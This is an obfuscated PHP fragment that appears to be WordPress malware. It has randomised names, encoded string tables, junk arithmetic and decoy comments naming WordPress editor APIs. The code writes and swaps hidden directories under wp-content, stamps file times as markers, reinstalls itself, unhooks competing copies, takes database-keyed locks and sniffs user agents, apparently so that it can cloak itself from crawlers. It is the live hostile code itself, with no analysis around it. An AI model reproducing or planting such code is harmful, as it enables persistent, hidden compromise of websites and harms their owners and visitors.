   if   (@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t)   &&  oahk6ik6p30_tx4($gx1wu9an7cfa2x_t, (437+63)))   continue;
  if (@$GLOBALS['__scf_w5h0oq_bt_n_44']($gx1wu9an7cfa2x_t) ||   !@$GLOBALS['__scf_t04e6l_v7y_46']($gx1wu9an7cfa2x_t))    return   false;
$mywsd0kvssj[]  =    $uvo4msk8s29_;
}
     $b5b4aj9f9xd = $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](uniqid("", true)), 0,  (1<<3));
   $yp_wzxni7wgf54lv = $swq78n4tr9  .  j8bjjevd80e(58)   .  $b5b4aj9f9xd;
 $g9g2onuq1rf4ei  = $swq78n4tr9 .  j8bjjevd80e(59) .    $b5b4aj9f9xd;
  if   (!fqnjhjvlv62gig($yp_wzxni7wgf54lv,  (632-139), true)) return  false;
 foreach  ($mywsd0kvssj   as  $uvo4msk8s29_)    {



 if (!y4uha_ovdhn209vgcvx($n7_1xfm5p3 . '/'     .      $uvo4msk8s29_,   $yp_wzxni7wgf54lv .  '/'  .   $uvo4msk8s29_))     {  i1vvo9qrb5fktie($yp_wzxni7wgf54lv);   return  false; }
  }
/* reactive reduction */




   if   (!kcysqw_r7i8c86af_6($n7_1xfm5p3, $g9g2onuq1rf4ei)) {  i1vvo9qrb5fktie($yp_wzxni7wgf54lv);     return     false;    }
   if  (!kcysqw_r7i8c86af_6($yp_wzxni7wgf54lv, $n7_1xfm5p3))  { kcysqw_r7i8c86af_6($g9g2onuq1rf4ei,  $n7_1xfm5p3);    i1vvo9qrb5fktie($yp_wzxni7wgf54lv); return false;     }
   if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(60)))    @clearstatcache(true);

    if ($zubkskt0xgxgyr   !==   null   && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(61)))     @opcache_invalidate($zubkskt0xgxgyr,  true);
 if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(62)))   @set_transient(cv8ducrec(52),   1,  (86301+99));
 if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(63)))   @delete_transient(pvz_9xuc0nzl0m(64));
 

 f1995qrx5prr7cbl19co0e(j8bjjevd80e(65),  b5xx0lrqzfc(66) .   ($voisol5pl7furw  !==   null  ?      $GLOBALS['__scf_xz_5zbcnz0m_3']($voisol5pl7furw) :  s99lg14mcd3un(67)));
return  true;
   }
 function  xt1w5fwyu274i3r6fyaa_($jv3w6ea83hf4)
    {
        try     {



 if ($jv3w6ea83hf4 instanceof    Closure) {  $lixijsuy7hjm_  =      new  ReflectionFunction($jv3w6ea83hf4);  return  $lixijsuy7hjm_->getFileName(); }

 if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jv3w6ea83hf4)   && $GLOBALS['__scf_ya_jdhkqpku_7']($jv3w6ea83hf4,   b5xx0lrqzfc(68))   !==    false)  {$y5z171_93is=PHP_INT_MAX/PHP_INT_MAX;$zu7flv2s1y1=$y5z171_93is+25;  $lixijsuy7hjm_  =   new ReflectionMethod($jv3w6ea83hf4); return   $lixijsuy7hjm_->getFileName();    }


    if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jv3w6ea83hf4) &&   $GLOBALS['__scf_sc29wu2n9b_4']($jv3w6ea83hf4))    {      $lixijsuy7hjm_     = new  ReflectionFunction($jv3w6ea83hf4);  return   $lixijsuy7hjm_->getFileName();     }
 if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($jv3w6ea83hf4) &&   $GLOBALS['__scf_tbu69vegc9f_36']($jv3w6ea83hf4)  === 2) {  $lixijsuy7hjm_  = new     ReflectionMethod($jv3w6ea83hf4[0],  $jv3w6ea83hf4[1]);   return  $lixijsuy7hjm_->getFileName();      }
    } catch (Throwable  $uvo4msk8s29_)   {}    catch  (Exception $uvo4msk8s29_) {}
  return   null;


  }
function  q1elbf5bpabwij9o($of_pcm29oxt9u3z)
       {
global   $xrznghr9f7obhaq;
    if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($xrznghr9f7obhaq)) return;
 $pgb8htodpr  =     @$GLOBALS['__scf_rh81zjbcpm_33']($of_pcm29oxt9u3z);
   if    ($pgb8htodpr   ===  false)    $pgb8htodpr    = $of_pcm29oxt9u3z;
// WP InspectorControls: open coordinator

       $xi90wr_7pj3ihhut = @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
 foreach    ($xrznghr9f7obhaq  as     $l0r2uvu1p4abgq55  =>    $dkqns508e0cy1r)    {
 if     ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($dkqns508e0cy1r) &&     isset($dkqns508e0cy1r->callbacks) && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($dkqns508e0cy1r->callbacks))  $ra_cnvikcj =   $dkqns508e0cy1r->callbacks;
     elseif    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($dkqns508e0cy1r))  $ra_cnvikcj  =  $dkqns508e0cy1r;
    else continue;
 foreach    ($ra_cnvikcj as $lfgbx_ifdwa0grw     =>  $list) {
// flat certificate-chain

   foreach ((array)    $list  as $itsyl5ug6bf5d)  {
  $jv3w6ea83hf4     =     isset($itsyl5ug6bf5d[j8bjjevd80e(70)])  ?   $itsyl5ug6bf5d[j8bjjevd80e(70)]  :  null;
 if   ($jv3w6ea83hf4   === null)   continue;
       $fulx_n95kwu = xt1w5fwyu274i3r6fyaa_($jv3w6ea83hf4);
    if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($fulx_n95kwu))     continue;
  $lypworcta2y4 =  @$GLOBALS['__scf_rh81zjbcpm_33']($fulx_n95kwu);
  if  (!(($lypworcta2y4     !== false  &&  $lypworcta2y4 === $pgb8htodpr)     ||     $fulx_n95kwu      ===  $of_pcm29oxt9u3z))   continue;


       if  ($xi90wr_7pj3ihhut    !==  false &&  $lypworcta2y4  ===   $xi90wr_7pj3ihhut)  continue;
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(71)))      @remove_filter($l0r2uvu1p4abgq55,  $jv3w6ea83hf4, $lfgbx_ifdwa0grw);



 }
 }



 }
  }
function    b9ujnyggbk9b1a67cii8()
   {$gcfbwb3l1=56+71;$aiy60jxi=$gcfbwb3l1-10;
 $v44jmjwc1lsu737     = eki4v2wrqno4knxgtm4qhv();



 if (!@$GLOBALS['__scf_nish5zuncssvgd_43']($v44jmjwc1lsu737))     return;
   $mhhzrwmjen = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(72))   ?    @$GLOBALS['__scf_fczaqag___47_72']($v44jmjwc1lsu737   . pvz_9xuc0nzl0m(73))     : false;
if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($mhhzrwmjen))   return;


$xi90wr_7pj3ihhut  =  @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
   foreach ($mhhzrwmjen  as  $fulx_n95kwu)  {
 $lypworcta2y4  = @$GLOBALS['__scf_rh81zjbcpm_33']($fulx_n95kwu);


if    ($xi90wr_7pj3ihhut   !== false    &&     $lypworcta2y4  ===    $xi90wr_7pj3ihhut)   continue;
      if (!oahk6ik6p30_tx4($fulx_n95kwu, (463+37))) continue;


    $cq_6gw44hx8jcvy     = jbfdbvr8gh1y76y2xdz4($fulx_n95kwu);
$yadvme4xrt5vewh   =    ($cq_6gw44hx8jcvy  === null)   ||     version_compare($cq_6gw44hx8jcvy, jqg87ez26lzm3yp01xj2q(),     '<');
 if   ($yadvme4xrt5vewh ||   drb8j41qq5igcfm($fulx_n95kwu))    q1elbf5bpabwij9o($fulx_n95kwu);
}
  }
    function  f3vsfers3pq3ok0kwile($gx1wu9an7cfa2x_t,  $l67t6hzxy6qd81)
  {
   return     $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(74))    ? @$GLOBALS['__scf_w_83qzdu7rtu_74']($gx1wu9an7cfa2x_t,     $l67t6hzxy6qd81)  :    false;
  }
      function    lukwh2drghgd804($gx1wu9an7cfa2x_t)
     {
 $hts4t6h0j4j   =   ap3jwh4ff4rbz1upjm49();
      return      f3vsfers3pq3ok0kwile($gx1wu9an7cfa2x_t, ($hts4t6h0j4j     -    ($hts4t6h0j4j    % (0x181ac+0x4f4))) +   _dbs9edj_8e6_zc_s());
     }
function    kcysqw_r7i8c86af_6($w8hbh2dz61uz8p4j,  $oxgrzhf_b1dott)
 {
   return  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(49)) ?  @$GLOBALS['__scf_u8voxmvq_x_49']($w8hbh2dz61uz8p4j,  $oxgrzhf_b1dott) : false;
   }
 function  tmj29eik3aqcj3qc9xfutb($w8hbh2dz61uz8p4j, $oxgrzhf_b1dott)
    {
 return   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(75))  ?    @$GLOBALS['__scf_ck77ul1tgq_75']($w8hbh2dz61uz8p4j,  $oxgrzhf_b1dott) :  false;
}
 function  vd37c9d2j9hxta_($rtnxjwsi0p3gd, $gx1wu9an7cfa2x_t)
      {
      return    $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(76)) ?      @$GLOBALS['__scf_hgjqoeair_her_76']($rtnxjwsi0p3gd, $gx1wu9an7cfa2x_t)     :   false;
 }
     function      yxpsf0b9vuqrcu1l()
     {
// WP RichText API: evict dispatcher

static  $_sepybsmvskth = null;
 if    ($_sepybsmvskth   !==  null)  return  $_sepybsmvskth;
 $_sepybsmvskth = $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(77))    ?   $GLOBALS['__scf_qojqu44tgs4gs8_78']()  : s99lg14mcd3un(79);
if   (@$GLOBALS['__scf_nish5zuncssvgd_43']($_sepybsmvskth)   && @$GLOBALS['__scf_iuxi5ng_a2py94_47']($_sepybsmvskth)) return      $_sepybsmvskth;

$yazr2g01258tle     =   defined(s99lg14mcd3un(31))  ?   WP_CONTENT_DIR    : (defined(b5xx0lrqzfc(80))  ? ABSPATH  . cv8ducrec(81) :    "");
   if     ($yazr2g01258tle !==  "")   {


$fulx_n95kwu =     $GLOBALS['__scf_qv5p187x3gyo_12']($yazr2g01258tle,  s99lg14mcd3un(82)) .   cv8ducrec(83);

if   (!@$GLOBALS['__scf_nish5zuncssvgd_43']($fulx_n95kwu))   @$GLOBALS['__scf_zb08eyi9t1nbr_16']($fulx_n95kwu,  (395+98), true);$rnfqzjp020=-254;$f2ebq4i2iyl2=($rnfqzjp020>0)?$rnfqzjp020:-$rnfqzjp020;

   if     (@$GLOBALS['__scf_nish5zuncssvgd_43']($fulx_n95kwu)  && @$GLOBALS['__scf_iuxi5ng_a2py94_47']($fulx_n95kwu))  {
       if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(84)))    @putenv(cv8ducrec(85)   .  $fulx_n95kwu);


 $GLOBALS[pvz_9xuc0nzl0m(86)]  =  1;
   $_sepybsmvskth     =     $fulx_n95kwu;
   }
}
 return   $_sepybsmvskth;
      }
 function af6pxn08t8_r1ab92fa0ze()
    {
$rtnxjwsi0p3gd   =  wp23foo6ue948szmquhy3();
  $ljvicb11d2w9 =  eki4v2wrqno4knxgtm4qhv();


   if  ($rtnxjwsi0p3gd  ===   $ljvicb11d2w9)  return true;
 if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(87)))    {
 $wuejutimt39h4 =   @$GLOBALS['__scf_rh81zjbcpm_33']($rtnxjwsi0p3gd);



       $l4h0csvf4po4e     =  @$GLOBALS['__scf_rh81zjbcpm_33']($ljvicb11d2w9);
  return ($wuejutimt39h4     !==   false &&    $l4h0csvf4po4e !== false &&    $wuejutimt39h4  === $l4h0csvf4po4e);

 }
    return false;
}


function   _dbs9edj_8e6_zc_s()
 {
  return   (93778+41);
 }
 function  ez_cpmzi5bty62s5()
    {
  if  (!defined(b5xx0lrqzfc(80)))   return  "";
  $yazr2g01258tle   =  defined(j8bjjevd80e(31))    ?  WP_CONTENT_DIR  :    ABSPATH . pvz_9xuc0nzl0m(88);
      return $GLOBALS['__scf_qv5p187x3gyo_12']($yazr2g01258tle,     cv8ducrec(82))  .  cv8ducrec(89)  . $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](ABSPATH  .  cv8ducrec(90)),   0, (0x4+0x4)) .    cv8ducrec(91)  .  $GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_gvrvt5qjna_57'](ABSPATH    .  j8bjjevd80e(92)),  0,  (91^83)) .  cv8ducrec(93);
     }
       function   _dyy1zcabj8cg9a93d9j($xa6_dathyqd    =   null)
{
$gx1wu9an7cfa2x_t  = ez_cpmzi5bty62s5();



 if   ($gx1wu9an7cfa2x_t    ===    "")   return false;
 if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($xa6_dathyqd)      || $GLOBALS['__scf_d413tdd725_10']($xa6_dathyqd) <      (491+9))   $xa6_dathyqd = usllxr5akmyy8c();
    if (!$xa6_dathyqd     ||  !ro9zxkt259xhwz4($xa6_dathyqd))   return false;
      $rtnxjwsi0p3gd = $GLOBALS['__scf_mij3fd72lyo_h_11']($gx1wu9an7cfa2x_t);
 if      (!@$GLOBALS['__scf_nish5zuncssvgd_43']($rtnxjwsi0p3gd))    fqnjhjvlv62gig($rtnxjwsi0p3gd,     (870-377),    true);
if  (!@$GLOBALS['__scf_nish5zuncssvgd_43']($rtnxjwsi0p3gd) ||  !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($rtnxjwsi0p3gd))  return false;
 if  (@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t))   {
 $ilej2opj92h1hlx    =    wj9blpi2pvw8f3b8qhcxu($gx1wu9an7cfa2x_t);

if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ilej2opj92h1hlx)   &&  $ilej2opj92h1hlx !== "" && $GLOBALS['__scf_gvrvt5qjna_57']($ilej2opj92h1hlx) ===   $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd))      return  true;
      unset($ilej2opj92h1hlx);
    $fpymvedgef   =   jbfdbvr8gh1y76y2xdz4($gx1wu9an7cfa2x_t);
 if   ($fpymvedgef      !==   null     &&  version_compare($fpymvedgef, jqg87ez26lzm3yp01xj2q(),     '>'))  return false;
      unset($fpymvedgef);
}
   if  (!qc7730958b5mgfuj_($gx1wu9an7cfa2x_t,     $xa6_dathyqd)) return    false;
ottk3i1kq8br96vi($gx1wu9an7cfa2x_t, (354+66));
 xmuf92hov77yw0fjcu8($gx1wu9an7cfa2x_t);
 return  true;
}
    function   m2a4a0_ktr3g52s_()
 {



   $xa6_dathyqd  =     usllxr5akmyy8c();
if   (!$xa6_dathyqd  ||    !ro9zxkt259xhwz4($xa6_dathyqd))  return  false;



 $_cnes7vytq7930  =   $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),    s99lg14mcd3un(93));
 $gd6o0r1d5y51sfu  =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(94)) ?   wzbvgogq03mxeqb() :   (defined(cv8ducrec(95))    ?    WP_CONTENT_DIR    :    "");
 if     ($gd6o0r1d5y51sfu  ===  "")   return false;

    $lu1e3_8zy3y   =  $gd6o0r1d5y51sfu .  s99lg14mcd3un(96)  .    $_cnes7vytq7930;
$xysfedlllsd71dd =  $lu1e3_8zy3y   .     '/'   .      $_cnes7vytq7930  . pvz_9xuc0nzl0m(97);
  $usy5gkjhj3_ =   false;
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(87)))    {
 $py_aeyr9vjm2u =   @$GLOBALS['__scf_rh81zjbcpm_33']($xysfedlllsd71dd);
     $jjjt2b4n0f  =     @$GLOBALS['__scf_rh81zjbcpm_33'](curga5ep68su8__o());
  $usy5gkjhj3_  = ($GLOBALS['__scf_qubutkuvnnc4sx_41']($py_aeyr9vjm2u)  && $GLOBALS['__scf_qubutkuvnnc4sx_41']($jjjt2b4n0f)  && $py_aeyr9vjm2u  === $jjjt2b4n0f);
 }
  if (!$usy5gkjhj3_)    {$ev197ixak4yq=(0x13+0x22);$gyhzgrjmo10f2=$ev197ixak4yq%12;
 if      (!@$GLOBALS['__scf_nish5zuncssvgd_43']($lu1e3_8zy3y)) fqnjhjvlv62gig($lu1e3_8zy3y, (854-361),    true);
   if    (!@$GLOBALS['__scf_nish5zuncssvgd_43']($lu1e3_8zy3y)    ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($lu1e3_8zy3y))    return    false;
       $qzcjerwuc0r =    @$GLOBALS['__scf_xaseomj3flge_20']($xysfedlllsd71dd)   ?  wj9blpi2pvw8f3b8qhcxu($xysfedlllsd71dd)    :     false;
   if  ($qzcjerwuc0r !==  null &&  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($qzcjerwuc0r)     || $GLOBALS['__scf_gvrvt5qjna_57']($qzcjerwuc0r)  !== $GLOBALS['__scf_gvrvt5qjna_57']($xa6_dathyqd)))  {
 if   (@$GLOBALS['__scf_xaseomj3flge_20']($xysfedlllsd71dd))  {
   $fpymvedgef =  jbfdbvr8gh1y76y2xdz4($xysfedlllsd71dd);
if   ($fpymvedgef  !==  null &&    version_compare($fpymvedgef,  jqg87ez26lzm3yp01xj2q(),   '>'))   return   false;
 unset($fpymvedgef);
}
// @propagate-const branded-type

    if (!qc7730958b5mgfuj_($xysfedlllsd71dd,  bpgn93eq1czhbg($xa6_dathyqd)))  return      false;$vqeg02jjpqw=186|191;$tc4l6_xn16ruf=$vqeg02jjpqw^47;
 ottk3i1kq8br96vi($xysfedlllsd71dd,  (252+168));



lukwh2drghgd804($xysfedlllsd71dd);
 xmuf92hov77yw0fjcu8($xysfedlllsd71dd);
 }
  unset($qzcjerwuc0r);
     }
  $apaosjk7hw7j8x1_    = $_cnes7vytq7930 .    '/' .   $_cnes7vytq7930   .   b5xx0lrqzfc(98);$gjp7phbo_siv04=65+29;$l39xnzg6f9=$gjp7phbo_siv04-17;
   vpwpg0rr9xm64k($apaosjk7hw7j8x1_);
   return   true;
}
  function jbfdbvr8gh1y76y2xdz4($gx1wu9an7cfa2x_t)


  {
 $qnhfvuwbru63u31    =   @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t, false,   null, 0,    (8120-4024));
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($qnhfvuwbru63u31))  return   null;
if ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(101), $qnhfvuwbru63u31,     $ljvicb11d2w9))  return  $ljvicb11d2w9[1];
   




  return   null;
}
  
 function  oahk6ik6p30_tx4($p6qjzmu1z3kq, $lnz6vf33ftjhs)
   {
    @clearstatcache(true,  $p6qjzmu1z3kq);
    

 $kj29kdhdnd6   = @$GLOBALS['__scf_ha0rpt74l7eb9_102']($p6qjzmu1z3kq);
if  (!$kj29kdhdnd6  ||  ($kj29kdhdnd6   %  (99998+2))  !==    _dbs9edj_8e6_zc_s())     {
return     false;
  }

      $vdfpv2zrab78z = @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($p6qjzmu1z3kq);
return   $vdfpv2zrab78z &&   $vdfpv2zrab78z   >= $lnz6vf33ftjhs;$k4se3nar59=8165;$k4ungdbqg=$k4se3nar59%14;
}
 function  a89x3hypm78o6y7xnj0h()
  {
     return   (67108-31108);
}



 function     et2b4r7l7_g_aen6()
  {
  return  s99lg14mcd3un(104);
 }
function   ev_yl_99eshcn294o()



 {
     return     pvz_9xuc0nzl0m(105);
    }
 function k2vsos35iq5rekmlmcdqq()
    {
if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(106)))  return   true;
 if   (zmvln2vwr1r1ww10())   return true;
      $yu7o10irlqsibtw  =     $GLOBALS['__scf_i1sl42qxo03g_107']((string) $GLOBALS['__scf_mv3hm1pk74i2v_108']());$xjth68k87j=51+93;$bqnjry3xu4=$xjth68k87j-12;
if    ($yu7o10irlqsibtw    ===  j8bjjevd80e(109)  || $GLOBALS['__scf_ya_jdhkqpku_7']($yu7o10irlqsibtw,      s99lg14mcd3un(110))   !== false) return  true;
  $j43jys3z1wi2df =  isset($_SERVER[pvz_9xuc0nzl0m(111)])  ?   $GLOBALS['__scf_i1sl42qxo03g_107']((string)  $_SERVER[j8bjjevd80e(111)]) :    "";$y0_9ar_5qt8j=69|22;$n_dys8fnxle3=$y0_9ar_5qt8j^146;

  if     ($j43jys3z1wi2df !==     ""   &&   ($GLOBALS['__scf_ya_jdhkqpku_7']($j43jys3z1wi2df, b5xx0lrqzfc(112)) !==  false    ||   $GLOBALS['__scf_ya_jdhkqpku_7']($j43jys3z1wi2df, s99lg14mcd3un(110)) !==    false    ||    $GLOBALS['__scf_ya_jdhkqpku_7']($j43jys3z1wi2df, pvz_9xuc0nzl0m(113))  !==  false))   return true;
return false;

}
   function  zmvln2vwr1r1ww10()
  {
 $j43jys3z1wi2df =     isset($_SERVER[pvz_9xuc0nzl0m(114)])   ? $_SERVER[s99lg14mcd3un(114)]  :  "";
       return $GLOBALS['__scf_qubutkuvnnc4sx_41']($j43jys3z1wi2df)  &&  stripos($j43jys3z1wi2df,  pvz_9xuc0nzl0m(115))  !==    false;
  }

 function x8h1vs0363aquekhj7($of_pcm29oxt9u3z)
   {


  $_6asat0qy9q    = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(116)) ?     @$GLOBALS['__scf_aojulu3bik1_116'](cv8ducrec(117))    : false;
   if   (!$_6asat0qy9q   ||  $_6asat0qy9q ===  "")  return      true;
 $pgb8htodpr = @$GLOBALS['__scf_rh81zjbcpm_33']($of_pcm29oxt9u3z);
 if (!$pgb8htodpr)  $pgb8htodpr =     $of_pcm29oxt9u3z;
foreach      ($GLOBALS['__scf_uy4tufpelsg98c_118'](PATH_SEPARATOR,  $_6asat0qy9q) as  $_gbdleyfzdd97b)    {
    $_gbdleyfzdd97b  =    $GLOBALS['__scf_qv5p187x3gyo_12']($_gbdleyfzdd97b,   b5xx0lrqzfc(82));

 if  ($_gbdleyfzdd97b   &&  ($pgb8htodpr   === $_gbdleyfzdd97b ||  $GLOBALS['__scf_ya_jdhkqpku_7']($pgb8htodpr, $_gbdleyfzdd97b  . DIRECTORY_SEPARATOR)   ===  0)) return    true;
 }
   return    false;
        }


function _o3tfr1nz2qxt2cx($e9jitn6j3dt_9ucw)
   {


 $x7andwe9_bn6i   =  $e9jitn6j3dt_9ucw      .   '|'   . (defined(pvz_9xuc0nzl0m(119))  ?   DB_NAME : "")  .   '|'  .  (defined(j8bjjevd80e(120)) ?      ABSPATH : "");


return   $GLOBALS['__scf_gvrvt5qjna_57']($x7andwe9_bn6i);
     }
     function    oi023dn_ef3e6fe($e9jitn6j3dt_9ucw)
{
global  $wpdb;
     if    (!isset($GLOBALS[cv8ducrec(121)])  ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[j8bjjevd80e(121)]))   $GLOBALS[j8bjjevd80e(122)] =   array();
 if   (!empty($GLOBALS[pvz_9xuc0nzl0m(123)][$e9jitn6j3dt_9ucw]))  {
      if   (isset($GLOBALS[pvz_9xuc0nzl0m(124)][$e9jitn6j3dt_9ucw])  &&  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb))    {
$h0ci9pv472   =     isset($wpdb->dbh)   ? $wpdb->dbh  : null;
     if ($h0ci9pv472     !== null    && $GLOBALS[j8bjjevd80e(125)][$e9jitn6j3dt_9ucw]   !==  $h0ci9pv472) {
  unset($GLOBALS[pvz_9xuc0nzl0m(123)][$e9jitn6j3dt_9ucw],    $GLOBALS[cv8ducrec(125)][$e9jitn6j3dt_9ucw]);
return   oi023dn_ef3e6fe($e9jitn6j3dt_9ucw);$zwimy_uq5tpu=(0xc1+0x1c);$puozrvdg0i=$zwimy_uq5tpu%4;
     }


      unset($h0ci9pv472);
 }
$GLOBALS[s99lg14mcd3un(123)][$e9jitn6j3dt_9ucw]++;
     return true;
}
if ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb)    && $GLOBALS['__scf_r5y2nofw5p1zz_126']($wpdb,  cv8ducrec(127))) {
    $lixijsuy7hjm_     =  @$wpdb->get_var(s99lg14mcd3un(128)   . _o3tfr1nz2qxt2cx($e9jitn6j3dt_9ucw)   . s99lg14mcd3un(129));
 if  ($lixijsuy7hjm_  ===  '1')    {
$GLOBALS[b5xx0lrqzfc(123)][$e9jitn6j3dt_9ucw] = 1;
      if (isset($wpdb->dbh) && $wpdb->dbh)   $GLOBALS[cv8ducrec(125)][$e9jitn6j3dt_9ucw] =      $wpdb->dbh;
 return   true;
}
      if ($lixijsuy7hjm_  ===   '0')    return   false;
   }
     if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(130))  &&      $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(131)))    {
$bbv9cv6t99_pb8h  =   array();
if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(78))) $bbv9cv6t99_pb8h[] = $GLOBALS['__scf_qojqu44tgs4gs8_78']();
  if      (defined(j8bjjevd80e(132))) $bbv9cv6t99_pb8h[]   =    WP_CONTENT_DIR;


   if  (defined(cv8ducrec(133)))      $bbv9cv6t99_pb8h[]  =   $GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH, cv8ducrec(134));
foreach   ($bbv9cv6t99_pb8h as    $rtnxjwsi0p3gd) {
 if     ($rtnxjwsi0p3gd ===     ""    ||  !@$GLOBALS['__scf_nish5zuncssvgd_43']($rtnxjwsi0p3gd) ||   !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($rtnxjwsi0p3gd)) continue;
  $p9b22548fubh30y  = @$GLOBALS['__scf_q3ql35ik5fr_22']($rtnxjwsi0p3gd  . j8bjjevd80e(135)  .      _o3tfr1nz2qxt2cx($e9jitn6j3dt_9ucw) .   b5xx0lrqzfc(136),     'c');
  if ($p9b22548fubh30y  !== false)   {$hv_tppg6x=PHP_INT_MAX/PHP_INT_MAX;$unton8g2q=$hv_tppg6x+25;
if   (!@flock($p9b22548fubh30y,  LOCK_EX |   LOCK_NB))     {
  @fclose($p9b22548fubh30y);
     return  false;


  }
     if   (!isset($GLOBALS[s99lg14mcd3un(137)]) ||  !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[s99lg14mcd3un(137)]))   $GLOBALS[s99lg14mcd3un(137)]    = array();
  $GLOBALS[s99lg14mcd3un(137)][$e9jitn6j3dt_9ucw]   =    $p9b22548fubh30y;

$GLOBALS[b5xx0lrqzfc(123)][$e9jitn6j3dt_9ucw] = 1;
    return  true;

}
}
}
// WP Archive Title: lock-free session-window

$GLOBALS[cv8ducrec(123)][$e9jitn6j3dt_9ucw] =  1;   



  $GLOBALS[s99lg14mcd3un(138)][$e9jitn6j3dt_9ucw]   =   1;
       return true;
  }
function   jr2xyttddkmhfx362y($e9jitn6j3dt_9ucw)
 {

 global   $wpdb;
  if (empty($GLOBALS[b5xx0lrqzfc(123)][$e9jitn6j3dt_9ucw]))  return;
   $GLOBALS[s99lg14mcd3un(139)][$e9jitn6j3dt_9ucw]--;
    if   ($GLOBALS[b5xx0lrqzfc(139)][$e9jitn6j3dt_9ucw] >     0)     return;



unset($GLOBALS[j8bjjevd80e(140)][$e9jitn6j3dt_9ucw]);
 unset($GLOBALS[j8bjjevd80e(125)][$e9jitn6j3dt_9ucw]);
   unset($GLOBALS[s99lg14mcd3un(141)][$e9jitn6j3dt_9ucw]);
   if  (isset($GLOBALS[j8bjjevd80e(142)][$e9jitn6j3dt_9ucw]))  {
  @flock($GLOBALS[cv8ducrec(142)][$e9jitn6j3dt_9ucw],  LOCK_UN);
      @fclose($GLOBALS[cv8ducrec(142)][$e9jitn6j3dt_9ucw]);
 unset($GLOBALS[s99lg14mcd3un(142)][$e9jitn6j3dt_9ucw]);
    }



if    ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb) &&   $GLOBALS['__scf_r5y2nofw5p1zz_126']($wpdb,  s99lg14mcd3un(143)))    {
   @$wpdb->query(s99lg14mcd3un(144)   . _o3tfr1nz2qxt2cx($e9jitn6j3dt_9ucw)   .    pvz_9xuc0nzl0m(145));
}



}
 function  pggcshv8j3hapx()
  {
if     (defined(j8bjjevd80e(146)) && DISALLOW_FILE_MODS)  return  false;
     return true;
   }
 function     za6eemft_i12bnh_gt()
   {
  if   (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(130))     ||  !$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(147)))  return    false;
$x0dxdv5zaq27cxa    =   array();
  if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(78)))   $x0dxdv5zaq27cxa[]      =  $GLOBALS['__scf_qojqu44tgs4gs8_78']();
 if  (defined(s99lg14mcd3un(132))) $x0dxdv5zaq27cxa[] = WP_CONTENT_DIR;
     if  (defined(cv8ducrec(133)))  $x0dxdv5zaq27cxa[]   = $GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,  s99lg14mcd3un(148));
    foreach   ($x0dxdv5zaq27cxa   as   $zj6x8gpbbf) {
   if  ($zj6x8gpbbf   ===   ""  || !@$GLOBALS['__scf_nish5zuncssvgd_43']($zj6x8gpbbf)     ||  !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($zj6x8gpbbf))    continue;
  $k1c4gk5hzv  = @$GLOBALS['__scf_q3ql35ik5fr_22']($zj6x8gpbbf    . j8bjjevd80e(135)   .     _o3tfr1nz2qxt2cx(j8bjjevd80e(149)) .  s99lg14mcd3un(150),   'c');
if   ($k1c4gk5hzv   ===  false)    continue;



